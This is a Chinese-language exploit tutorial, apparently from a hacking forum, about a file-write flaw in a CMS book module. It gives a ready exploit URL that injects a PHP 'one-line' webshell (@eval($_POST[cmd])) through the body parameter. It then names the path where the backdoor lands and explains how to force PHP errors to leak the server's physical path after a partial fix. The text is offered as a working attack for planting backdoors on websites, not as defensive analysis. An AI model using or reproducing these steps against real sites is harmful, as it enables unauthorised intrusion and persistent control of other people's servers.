漏洞页面是 \include\inc_bookfunctions.php
触发页面是 member/story_add_content_action.php
接着就是打开下面的地址:
http://www.xxx.com/member/story_add_content_action.php?chapterid=1&arcID=1&body=?>后面加上一句话代码。当你看到成功的提示就表示成功了。
然后打开http://www.xxx.com/data/textdata/1/bk1.php就是我们生成的后门。如果一次没成功想再重来一遍的话,下次生成的文件就变成bk2.php。以此类推。
官方有些已经补了漏洞,使得生成后门的路径不在是以上路径,哪么如何找到新的路径呢。下面我们来回顾一下漏洞的形成。在member/story_add_content_action.php文件夹下有如下代码:
WriteBookText($arcID,stripslashes($body));
再来看一下这个函数是处么写的,在include\inc_bookfunctions.php:
function WriteBookText($cid,$body)
{
global $cfg_cmspath,$cfg_basedir;
$ipath = $cfg_cmspath."/data/textdata";
$tpath = ceil($cid/5000);
if(!is_dir($cfg_basedir.$ipath)) MkdirAll($cfg_basedir.$ipath,$GLOBALS['cfg_dir_purview']);
if(!is_dir($cfg_basedir.$ipath.'/'.$tpath)) MkdirAll($cfg_basedir.$ipath.'/'.$tpath,$GLOBALS['cfg_dir_purview']);
$bookfile = $cfg_basedir.$ipath."/{$tpath}/bk{$cid}.php";
$body = "<"."?php exit();\r\n".$body."\r\n?".">";
@$fp = fopen($bookfile,'w');
最重要的是这一句:$body = "<"."?php exit();\r\n".$body."\r\n?".">";我没看以前的代码,但是前面加了一个exit();后,即使我们写入一句话,文件里的内容就会变成<?php exit();?><?php @eval($_POST[cmd])?>?> 也就是说,在执行eval函数前,先执行了exit函数,官方就这样限制了一句话木马的功能 ,但这里官方忽视了php的暴错性,我们要是随便写几个多余的字符进去呢?我们多写几个>或者其它比较关键的字符进去,反正stripslashes($body)会对它进行转义的,这样我们会轻而易举的得到网站的物理路径